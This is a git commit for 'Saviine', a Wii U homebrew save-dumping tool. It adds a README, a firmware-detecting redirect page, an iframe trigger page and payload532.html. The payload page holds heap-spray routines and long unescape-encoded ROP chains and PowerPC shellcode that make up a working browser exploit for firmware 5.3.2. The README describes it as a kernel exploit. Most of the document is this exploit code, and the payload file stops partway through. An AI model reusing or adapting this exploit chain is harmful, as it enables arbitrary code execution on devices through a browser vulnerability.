fixed the folder structure

This commit is contained in:
Maschell 2015-10-16 14:11:59 +02:00
parent f045ea3660
commit 467854dfea
35 changed files with 798 additions and 0 deletions

27
README Normal file
View File

@ -0,0 +1,27 @@
Saviine 0.1
Compatible with 5.3.2 fw
dumps WiiU Saves and is a mod of cafiine. Thanks to everyone who worked on cafiine!
Compilation :
- in order to compile cafiine you need to put the cafiine folder in your libwiiu project
- libwiiu/cafiine/installer must be compiled like the other libwiiu examples (with the build.py script)
Pre-made version :
- in www/saviine, it is already compiled, just put the folder in your server
Note :
- you can change the server ip directly in the application.
- start the saviine in folder with a short path, some savedata files have some really long names (170+ chracters)
- backup your savedata before dumping it!!! I'm not responsible for any lost data.
How to use :
- launch the kernel exploit in the brower
- open cafiine server in your computer, check your ip
- relaunch browser and launch cafiine app, set cafiine server ip in the application with up/down/left/right, and press A to install cafiine
-> browser should exit
- launch a game or application
- the savedata should be dumped to a folder in /cafiine_root/[title_id]
- profit
- you can close the game

25
www/saviine/frame.html Normal file
View File

@ -0,0 +1,25 @@
<html>
<head>
<script>
var nb = 0;
function handleBeforeLoad() {
if (++nb == 1) {
p.addEventListener('DOMSubtreeModified', parent.dsm, false);
} else if (nb == 2) {
p.removeChild(f);
}
}
function documentLoaded() {
f = window.frameElement;
p = f.parentNode;
var o = document.createElement("object");
o.addEventListener('beforeload', handleBeforeLoad, false);
document.body.appendChild(o);
}
window.onload = documentLoaded;
</script>
</head>
<body></body>
</html>

97
www/saviine/index.html Normal file
View File

@ -0,0 +1,97 @@
<html>
<head>
</head>
<body>
<div id="text"></div>
<script type="text/javascript">
-->Browser detection code by Relys
browserInfo = "<p>Browser CodeName: " + navigator.appCodeName + "</p>";
browserInfo+= "<p>Browser Name: " + navigator.appName + "</p>";
browserInfo+= "<p>Browser Version: " + navigator.appVersion + "</p>";
browserInfo+= "<p>Cookies Enabled: " + navigator.cookieEnabled + "</p>";
browserInfo+= "<p>Platform: " + navigator.platform + "</p>";
browserInfo+= "<p>User-agent header: " + navigator.userAgent + "</p>";
-->Get platform and version number
platform = String(navigator.platform);
var version = navigator.appVersion;
-->Check to see if we're running on a Wii U
if(platform == "Nintendo WiiU")
{
-->If we are then parse out the exact browser version
var versionRE = version.match("NX\/(.*) NintendoBrowser\/");
-->Ensure we were able to get browser version
if(versionRE.length==2)
{
-->Store the exact browser version to a string
versionNumber=versionRE[1];
-->See if browser is for Wii U version 5.3.2
if(versionNumber == "3.0.3.12.15")
{
-->Display message and redirect to payload URL
document.getElementById("text").innerHTML="Detected Wii U Firmware version 5.3.2";
window.location = "payload532.html";
}
-->See if browser is for Wii U version 5.0.0 or 5.1.0
else if (versionNumber == "3.0.3.12.12")
{
-->Display message and redirect to payload URL
document.getElementById("text").innerHTML="Detected Wii U Firmware version 5.0.0 or 5.1.0";
window.location = "payload500.html";
}
-->See if browser is for Wii U version 4.1.0
else if (versionNumber == "3.0.3.12.11")
{
-->Display message and redirect to payload URL
document.getElementById("text").innerHTML="Detected Wii U Firmware version 4.1.0";
window.location = "payload410.html";
}
-->See if browser is for Wii U version 4.0.0
else if (versionNumber == "3.0.3.12.6")
{
-->Display message and redirect to payload URL
document.getElementById("text").innerHTML="Detected Wii U Firmware version 4.0.0";
window.location = "payload400.html";
}
-->See if browser is for Wii U version 3.0.0 or 3.1.0
else if (versionNumber == "2.1.0.10.9")
{
-->Display message and redirect to payload URL
document.getElementById("text").innerHTML="Detected Wii U Firmware version 3.0.0 or 3.1.0";
var check = new XMLHttpRequest();
check.open('HEAD', "payload310.html", false);
check.send();
if (check.status != 404)
window.location = "payload310.html";
else
window.location = "payload300.html";
}
-->See if browser is for Wii U version 2.1.0
else if (versionNumber == "2.1.0.8.23")
{
-->Display message and redirect to payload URL
document.getElementById("text").innerHTML="Detected Wii U Firmware version 2.1.0";
window.location = "payload210.html";
}
-->See if browser is for Wii U version 2.0.0
else if (versionNumber == "2.1.0.8.21")
{
-->Display message and redirect to payload URL
document.getElementById("text").innerHTML="Detected Wii U Firmware version 2.0.0";
window.location = "payload200.html";
}
}
-->If we couldn't parse the browser version, throw an error message
else
{
document.getElementById("text").innerHTML="Unsupported Wii U Browser: "+browserInfo;
}
}
-->If we couldn't detect the Wii U browser, throw an error message.
else
{
document.getElementById("text").innerHTML="Unsupported Operating System: "+browserInfo;
}
</script>
</body>
</html>

649
www/saviine/payload532.html Normal file
View File

@ -0,0 +1,649 @@
<script>
// Alloc primitive.
function pow2str(p, b) {
var str = String.fromCharCode(b);
for (; p; p--){
str += str;
}
return str;
}
function alloc(n, b) {
var res = '';
for(var i = 0; i < 32; i++){
if(n & 0x1)
res += pow2str(i, b);
n >>= 1;
}
//flatten
res[0];
return res;
}
function sprayInc(n) {
var str = unescape("%u0102%u4dd8%u0000%u0004%u1b20%u18b4%u0104%u21ec%u1b20%u1850%u0103%ucdd4%u0000%u0018%u1b20%u1b2c%u0000%u0020%u0103%ucd8c%u0000%u0028%u1003%uaaac%u0000%u0030%u0102%u4dd8%u0d8f%u502c%u0104%u1614");
str += unescape("%u1b20%u1850%u0103%ucd8c%u0000%u0048%u1003%uaab0%u0000%u0050%u0102%u4dd8%u1b20%u1b20%u0000%u005c%u0000%u0060%u0103%ucd8c%u0000%u0068%u0000%u006c%u0000%u0070%u0102%u4dd8%u0000%u0001%u0000%u007c");
str += unescape("%u0000%u0080%u0104%u1174%u0000%u0088%u0000%u008c%u0000%u0090%u1b20%u1820%u0000%u0098%u0101%ucd44%u0102%u4dd8%u0000%u00a4%u0000%u0000%u0103%u70c0%u0000%u0000%u0103%ucdd4%u0000%u00b8%u1b20%u18c0");
str += unescape("%u0000%u00c0%u0101%ucd44%u0000%u00c8%u1b20%u1908%u0000%u00d0%u0102%u4d8c%u0180%u0000%u1b20%u1b80%u0000%u0200%u0000%u00e4%u0101%ucd44%u1b20%u190c%u0000%u00f0%u0103%u5a6c%u0000%u0000%u1b20%u1934");
str += unescape("%u0000%u0100%u0102%u4d8c%u0180%u0000%u0000%u0200%u0000%u0110%u0000%u0114%u0101%ucd44%u1b20%u193c%u0102%u3ee8%u0000%u0000%u0000%u0128%u1b20%u1964%u0000%u0130%u0102%u4d8c%u0180%u0000%u0000%u0200");
str += unescape("%u0000%u0140%u0000%u0144%u0101%ucd44%u1b20%u196c%u0102%u4010%u0000%u0000%u0000%u0158%u1b20%u18c0%u0000%u0160%u0102%u4dd8%u0000%u0001%u0000%u016c%u0000%u0170%u0101%ucd44%u0000%u0178%u0000%u017c");
str += unescape("%u0000%u0180%u0180%u0000%u0000%u0188%u0000%u018c%u0000%u4000%u0000%u7ffc%u0000%u0198%u0000%u019c%u0000%u01a0%u0000%u01a4%u0000%u01a8%u0000%u01ac%u0000%u01b0%u0000%u01b4%u0000%u01b8%u0000%u01bc");
str += unescape("%u0000%u01c0%u0000%u01c4%u0000%u01c8%u0000%u01cc%u0000%u01d0%u0000%u01d4%u0000%u01d8%u0000%u01dc%u0000%u01e0%u0000%u01e4%u0000%u01e8%u0000%u01ec%u0000%u01f0%u0000%u01f4%u0000%u01f8%u0000%u01fc");
str += unescape("%u0000%u0200%u0000%u0204%u0000%u0208%u0000%u020c%u0000%u0210%u0000%u0214%u0000%u0218%u0000%u021c%u0000%u0220%u0000%u0224%u0000%u0228%u0000%u022c%u0000%u0230%u0000%u0234%u0000%u0238%u0000%u023c");
str += unescape("%u0000%u0240%u0000%u0244%u0000%u0248%u0000%u024c%u0000%u0250%u0000%u0254%u0000%u0258%u0000%u025c%u0000%u0260%u0000%u0264%u0000%u0268%u0000%u026c%u0000%u0270%u0000%u0274%u0000%u0278%u0000%u027c");
str += unescape("%u0000%u0280%u0000%u0284%u0000%u0288%u0000%u028c%u0000%u0290%u0000%u0294%u0000%u0298%u0000%u029c%u0000%u02a0%u0000%u02a4%u0000%u02a8%u0000%u02ac%u0000%u02b0%u0000%u02b4%u0000%u02b8%u0000%u02bc");
str += unescape("%u0000%u02c0%u0000%u02c4%u0000%u02c8%u0000%u02cc%u0000%u02d0%u0000%u02d4%u0000%u02d8%u0000%u02dc%u0000%u02e0%u0000%u02e4%u0000%u02e8%u0000%u02ec%u0000%u02f0%u0000%u02f4%u0000%u02f8%u0000%u02fc");
str += unescape("%u0000%u0300%u0000%u0304%u0000%u0308%u0000%u0000%u1b20%u1b28%u0104%u3528%u1b20%u1814%u1b20%u1ad8%u0101%ucd50%u0000%u0324%u0000%u0328%u0000%u032c%u0000%u0330%u0000%u0334%u0000%u0338%u0000%u033c");
str += unescape("%u0000%u0340%u0000%u0344%u0000%u0348%u0000%u034c%u0000%u0350%u0000%u0354%u0000%u0358%u0000%u035c%u0000%u0360%u0000%u0364%u1b20%u1b28%u9421%ue000%u7c3f%u0b78%u3d20%u1003%u6129%uaaac%u913f%u000c");
str += unescape("%u813f%u000c%u3929%u0004%u3940%u0000%u9149%u0000%u8149%u0000%u813f%u000c%u9149%u0000%u3d20%u1b20%u6129%u1814%u913f%u0010%u3d20%u0103%u6129%u5a6c%u807f%u0010%u3d40%u1b20%u6144%u2814%u38a0%u05c0");
str += unescape("%u7d29%u03a6%u4e80%u0421%u3d20%u1b20%u6129%u1814%u913f%u0008%u4800%u006c%u813f%u0008%u8149%u0000%u3d20%ucafe%u6129%ucafe%u7f8a%u4800%u409e%u0048%u813f%u0008%u3929%u4000%u8149%u0000%u813f%u0010");
str += unescape("%u3929%u0190%u8129%u0000%u7f8a%u4840%u409e%u0028%u813f%u0008%u3929%u7ffc%u8149%u0000%u813f%u0010%u3929%u0194%u8129%u0000%u7f8a%u4840%u409e%u0008%u4800%u0024%u813f%u0008%u3929%u0004%u913f%u0008");
str += unescape("%u815f%u0008%u3d20%u1fff%u6129%uffff%u7f8a%u4840%u409d%uff88%u815f%u0008%u3d20%u2000%u7f8a%u4800%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u018c%u7d29%u03a6%u4e80%u0421%u813f%u0010");
str += unescape("%u3929%u0318%u815f%u0010%u394a%u00a0%u9149%u0000%u813f%u0010%u3929%u00dc%u815f%u0008%u394a%u0004%u9149%u0000%u813f%u0010%u3929%u00e0%u3940%u0000%u614a%u8000%u9149%u0000%u3d20%u0d8f%u6129%u502c");
str += unescape("%u3d40%u1b20%u6143%u1b20%u7d29%u03a6%u4e80%u0421%u397f%u0020%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u436f%u6465%u206e%u6f74%u2066%u6f75%u6e64%u0020%u436f%u6465%u206e%u6f74");
str += unescape("%u2066%u6f75%u6e64%u0000%u0000%u0508%u0000%u050c%u0000%u0510%u0000%u0514%u0000%u0518%u0000%u051c%u0000%u0520%u0000%u0524%u0000%u0528%u0000%u052c%u0000%u0530%u0000%u0534%u0000%u0538%u0000%u053c");
str += unescape("%u0000%u0540%u0000%u0544%u0000%u0548%u0000%u054c%u0000%u0550%u0000%u0554%u0000%u0558%u0000%u055c%u0000%u0560%u0000%u0564%u0000%u0568%u0000%u056c%u0000%u0570%u0000%u0574%u0000%u0578%u0000%u057c");
str += unescape("%u0000%u0580%u0000%u0584%u0000%u0588%u0000%u058c%u0000%u0590%u0000%u0594%u0000%u0598%u0000%u059c%u0000%u05a0%u0000%u05a4%u0000%u05a8%u0000%u05ac%u0000%u05b0%u0000%u05b4%u0000%u05b8%u0000%u05bc");
var h1 = [];
h1[0] = str.substring(0, str.length);
for (i = 1; i <= n; i++)
h1[i] = unescape(h1[0]);
return h1;
}
function sprayCode(n) {
var str = unescape("%ucafe%ucafe%u9421%ufe90%u7c08%u02a6%u9001%u0174%u93e1%u016c%u7c3f%u0b78%u3c20%u1ab5%u6021%ud138%u395f%u0030%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1cdc%u7d44%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u811f%u0030%u395f%u0034%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1cec%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378");
str += unescape("%u3880%u0000%u3d00%u0180%u38a8%u1cf4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u003c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1d04%u7d46%u5378%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0034%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d1c%u7d29%u03a6%u4e80%u0421%u813f%u0038%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180");
str += unescape("%u386a%u1d38%u7d29%u03a6%u4e80%u0421%u813f%u003c%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d58%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3c60%ua000%u7d29%u03a6%u4e80%u0421");
str += unescape("%u7c6a%u1b78%u3d20%u3100%u7f8a%u4800%u419e%u0020%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d84%u7d29%u03a6%u4e80%u0421%u4800%u07bc%u3d20%uc0a8%u6129%u010a%u913f%u0040%u811f%u0030%u395f%u0044");
str += unescape("%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1d90%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0048%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180");
str += unescape("%u38a8%u1da0%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u004c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1db8%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030");
str += unescape("%u395f%u0050%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1dcc%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0054%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000");
str += unescape("%u3d00%u0180%u38a8%u1de4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0058%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1dfc%u7d46%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u3920%u0000%u913f%u0014%u3920%u0000%u913f%u0018%u3920%u0000%u913f%u001c%u813f%u0044%u7d29%u03a6%u4e80%u0421%u813f%u0048%u3860%u0000%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0014%u813f%u0048");
str += unescape("%u3860%u0001%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0018%u813f%u004c%u3860%u0000%u3c80%uf400%u7d29%u03a6%u4e80%u0421%u813f%u004c%u815f%u0014%u3d4a%uf400%u3860%u0001%u7d44%u5378%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0050%u3860%u0000%u809f%u001c%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u809f%u001c%u7d29%u03a6%u4e80%u0421%u813f%u0038%u3c60%uf400%u809f%u0014%u7d29%u03a6%u4e80%u0421");
str += unescape("%u813f%u0038%u815f%u0014%u3d4a%uf400%u7d43%u5378%u809f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0054%u3860%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0054%u3860%u0001%u7d29%u03a6%u4e80%u0421%u395f%u005c");
str += unescape("%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1e10%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u005c%u395f%u0060%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e1c%u7d46%u5378");
str += unescape("%u7d29%u03a6%u4e80%u0421%u3920%u0003%u993f%u0008%u3920%u0001%u993f%u0009%u813f%u0060%u391f%u0068%u395f%u0064%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u893f%u0009");
str += unescape("%u5529%u063e%u2f89%u0000%u419e%u0028%u813f%u0054%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0012%u38a0%u0001");
str += unescape("%u3d40%u0180%u38ca%u1e28%u7d29%u03a6%u4e80%u0421%u893f%u0040%u5529%u063e%u7d27%u4b78%u893f%u0041%u5529%u063e%u7d28%u4b78%u893f%u0042%u5529%u063e%u895f%u0043%u554a%u063e%u38df%u0114%u3ca0%u0102");
str += unescape("%u60ab%uf09c%u7cc3%u3378%u3880%u0050%u3cc0%u0180%u38a6%u1e48%u3cc0%u0180%u38c6%u1e60%u7d69%u03a6%u4cc6%u3182%u4e80%u0421%u813f%u0058%u395f%u0114%u3860%u0001%u3880%u0000%u38a0%u0005%u7d46%u5378");
str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0000%u38a0%u0006%u3d40%u0180%u38ca%u1e70%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u002a%u38a0%u0011%u3d40%u0180%u38ca%u1e90");
str += unescape("%u7d29%u03a6%u4e80%u0421%u893f%u0008%u5529%u103a%u5529%u063e%u3929%u000f%u993f%u0020%u813f%u0058%u895f%u0020%u554a%u063e%u3860%u0001%u7d44%u5378%u38a0%u0004%u3d40%u0180%u38ca%u1ea8%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0060%u391f%u0068%u395f%u0064%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u893f%u0009%u5529%u063e%u2f89%u0000%u419e%u002c%u813f%u0054%u3860%u0001");
str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u4800%u0174%u813f%u0068%u5529%u07bc%u2f89%u0000%u419e%u0008%u4800%u0374%u813f%u0068%u5529%u0420%u2f89%u0000");
str += unescape("%u419e%u0020%u6000%u0000%u3920%u12b4%u913f%u000c%u3d20%ua11d%u6129%ue000%u913f%u0024%u4800%u0180%u813f%u0068%u5529%u0528%u2f89%u0000%u419e%u003c%u893f%u0008%u5529%u063e%u2f89%u0000%u409e%u0014");
str += unescape("%u3920%u0003%u993f%u0008%u3920%u0003%u4800%u0018%u893f%u0008%u3929%uffff%u993f%u0008%u893f%u0008%u5529%u063e%u993f%u0008%u813f%u0068%u5529%u056a%u2f89%u0000%u419e%u001c%u893f%u0008%u3929%u0001");
str += unescape("%u993f%u0008%u893f%u0008%u5529%u07be%u993f%u0008%u813f%u0068%u5529%u05ac%u2f89%u0000%u419e%u0054%u893f%u0008%u5528%u063e%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e");
str += unescape("%u394a%u0001%u5547%u063e%u395f%u0008%u7d4a%u4a14%u98ea%u0038%u395f%u0008%u7d2a%u4a14%u8929%u0038%u552a%u063e%u393f%u0008%u7d29%u4214%u9949%u0038%u813f%u0068%u5529%u05ee%u2f89%u0000%u419e%u0054");
str += unescape("%u893f%u0008%u5528%u063e%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e%u394a%uffff%u5547%u063e%u395f%u0008%u7d4a%u4a14%u98ea%u0038%u395f%u0008%u7d2a%u4a14%u8929%u0038");
str += unescape("%u552a%u063e%u393f%u0008%u7d29%u4214%u9949%u0038%u813f%u0068%u5529%u052e%u2f89%u0000%u7d20%u0026%u5529%ufffe%u6929%u0001%u5529%u063e%u993f%u0009%u4bff%ufccc%u815f%u0024%u813f%u000c%u7d2a%u4a14");
str += unescape("%u3d40%u0180%u390a%u0a24%u815f%u000c%u7d48%u5214%u894a%u0000%u554a%u063e%u9949%u0000%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%uffc8%u815f%u0040%u813f%u0024%u9149%u0000%u813f%u0038");
str += unescape("%u807f%u0024%u3880%u12b4%u7d29%u03a6%u4e80%u0421%u3d20%u0180%u3929%u09a8%u913f%u0028%u3920%u000a%u913f%u000c%u813f%u0024%u3929%u12b4%u913f%u0010%u4800%u0114%u813f%u000c%u1d29%u000c%u815f%u0028");
str += unescape("%u7d2a%u4a14%u8129%u0008%u6529%ua000%u815f%u0010%u3d4a%u6000%u9149%u0000%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u6529%ua000%u8149%u0000%u813f%u0010%u9149%u0000%u813f%u0010");
str += unescape("%u3929%u0004%u913f%u0010%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u3929%u0004%u5529%u01ba%u6529%u4800%u612a%u0002%u813f%u0010%u9149%u0000%u813f%u0010%u3929%u0004%u913f%u0010");
str += unescape("%u813f%u0038%u815f%u0010%u394a%ufff8%u7d43%u5378%u3880%u0008%u7d29%u03a6%u4e80%u0421%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u6529%ua000%u815f%u000c%u1d4a%u000c%u811f%u0028");
str += unescape("%u7d48%u5214%u814a%u0004%u554a%u01ba%u654a%u4800%u614a%u0002%u9149%u0000%u813f%u0038%u815f%u000c%u1d4a%u000c%u811f%u0028%u7d48%u5214%u814a%u0000%u654a%ua000%u7d43%u5378%u3880%u0004%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%ufee0%u3d20%ua10c%u6129%u0404%u913f%u002c%u813f%u002c%u3d40%u3860%u9149%u0000%u813f%u002c%u3929%u0004%u3d40%u4e80%u614a%u0020");
str += unescape("%u9149%u0000%u3d20%uffea%u6123%uaa58%u3880%u0000%u4800%u0021%u3d20%uffea%u6123%uaa5c%u3c80%u1400%u4800%u0011%u813f%u0034%u7d29%u03a6%u4e80%u0421%u9421%uffe0%u7c08%u02a6%u9001%u0024%u93a1%u0014");
str += unescape("%u93c1%u0018%u93e1%u001c%u7c3f%u0b78%u907f%u0008%u909f%u000c%u83df%u0008%u83bf%u000c%u3860%u0001%u3880%u0000%u7fa5%ueb78%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fc9%uf378%u7c3d%u0b78%u3800%u3500");
str += unescape("%u4400%u0002%u6000%u0000%u7fa1%ueb78%u397f%u0020%u800b%u0004%u7c08%u03a6%u83ab%ufff4%u83cb%ufff8%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u0106%u08ac%u011d%ue804%u011d%uf298%u0106%u0974%u011d%ue7d4");
str += unescape("%u011d%uf28c%u0106%u546c%u011d%ue924%u011d%uf2a0%u0106%u0aa4%u011d%uea44%u011d%uf2a8%u0106%u21f8%u011d%ue7e4%u011d%uf290%u0106%ufdc8%u011d%uf170%u011d%uf2b0%u0106%u83c8%u011d%ue894%u011d%uf29c");
str += unescape("%u0106%u8538%u011d%ue7f4%u011d%uf294%u0106%u85fc%u011d%ue98c%u011d%uf2a4%u0106%u8a08%u011d%ueaa8%u011d%uf2ac%u0000%u0078%u0000%u0000%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c");
str += unescape("%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000%u4bee%u3669%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000");
str += unescape("%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020");
str += unescape("%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000");
str += unescape("%u4bee%u2a15%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c");
str += unescape("%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u7c08%u02a6%u9421%uffc0%u93c1%u0038%u7c7e%u1b78%u9001%u0044%u93e1%u003c%u4bee%u21b1%u3860%u0002%u3880%u0001%u38a0%u0006%u4bee%u4075");
str += unescape("%u2f83%uffff%u7c7f%u1b78%u419e%u00a8%u3d20%u011e%u3940%u0002%u8129%ue000%u3881%u0018%ub141%u0018%u38a0%u0010%u3940%u1ca4%u9121%u001c%ub141%u001a%u4bee%u26a1%u2f83%u0000%u419c%u0070%u3c80%u1001");
str += unescape("%u38a0%u0010%u3884%u36d0%u3861%u0008%u4be5%u78c5%u7fe3%ufb78%u3881%u0008%u38a0%u0010%u4bff%ufe51%u2f83%u0000%u419c%u0044%u7fe3%ufb78%u3881%u0028%u38a0%u0001%u4bff%ufecd%u2f83%u0000%u419c%u002c");
str += unescape("%u8921%u0028%u2b89%u00ff%u419e%u0020%u8001%u0044%u93fe%u0000%u7c08%u03a6%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u7fe3%ufb78%u4bee%u4111%u8001%u0044%u3920%uffff%u913e%u0000%u7c08%u03a6");
str += unescape("%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u2f83%uffff%u4d9e%u0020%u4bee%u40e4%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000%u9001%u0034%u63de%u00e4%u9361%u001c%u7cdb%u3378%u813e%u0000");
str += unescape("%u9381%u0020%u7c7c%u1b78%u8149%u0284%u93a1%u0024%u7cbd%u2b78%u2f8a%u0000%u93e1%u002c%u7c3f%u0b78%u419e%u0018%u4bf7%u36e9%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9c%uffff%u3940%u0001");
str += unescape("%u9149%u0284%u419e%u00a4%u391d%uffff%u3940%u0000%u4800%u0008%u7d2a%u4b78%u8ce8%u0001%u392a%u0001%u2f87%u0000%u409e%ufff0%u390a%u0019%u80e1%u0000%u5508%u0036%u7d26%u4b79%u7d08%u00d0%u7c3e%u0b78");
str += unescape("%u7ce1%u416e%u3900%u000a%u7cc9%u03a6%u38aa%u000a%u3881%u0008%u9901%u0008%u9124%u0005%u3920%u0000%u9364%u0001%u4081%u0080%u7cfd%u48ae%u7d04%u4a14%u3929%u0001%u98e8%u0009%u4200%ufff0%u7f83%ue378");
str += unescape("%u4bff%ufced%u2f83%u0000%u419c%u0014%u7f83%ue378%u389f%u0008%u38a0%u0001%u4bff%ufd69%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6%u6129%u00e4");
str += unescape("%u8129%u0000%u3940%u0000%u836b%uffec%u9149%u0284%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%uff7c%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000");
str += unescape("%u9001%u0034%u63de%u00e4%u9341%u0018%u7cda%u3378%u813e%u0000%u9361%u001c%u7c7b%u1b78%u8149%u0284%u9381%u0020%u7cbc%u2b78%u2f8a%u0000%u93a1%u0024%u93e1%u002c%u7c9d%u2378%u7c3f%u0b78%u419e%u0018");
str += unescape("%u4bf7%u358d%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9b%uffff%u3940%u0001%u9149%u0284%u419e%u007c%u393c%u0018%u8141%u0000%u5529%u0036%u2f9c%u0000%u7d29%u00d0%u7c3e%u0b78%u7d41%u496e");
str += unescape("%u3920%u000b%u7f89%u03a6%u38bc%u0009%u3881%u0008%u9921%u0008%u9344%u0001%u3920%u0000%u9384%u0005%u409d%u0018%u7d1d%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0009%u4200%ufff0%u7f63%udb78%u4bff%ufbb1");
str += unescape("%u7f63%udb78%u389f%u0008%u38a0%u0001%u4bff%ufc35%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6%u6129%u00e4%u8129%u0000%u3940%u0000%u834b%uffe8");
str += unescape("%u9149%u0284%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c9c%u2378%u813f%u0000");
str += unescape("%u93a1%u001c%u7cbd%u2b78%u8149%u0284%u93c1%u0020%u7c7e%u1b78%u2f8a%u0000%u419e%u0018%u4bf7%u3471%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9e%uffff%u3940%u0001%u9149%u0284%u419e%u009c");
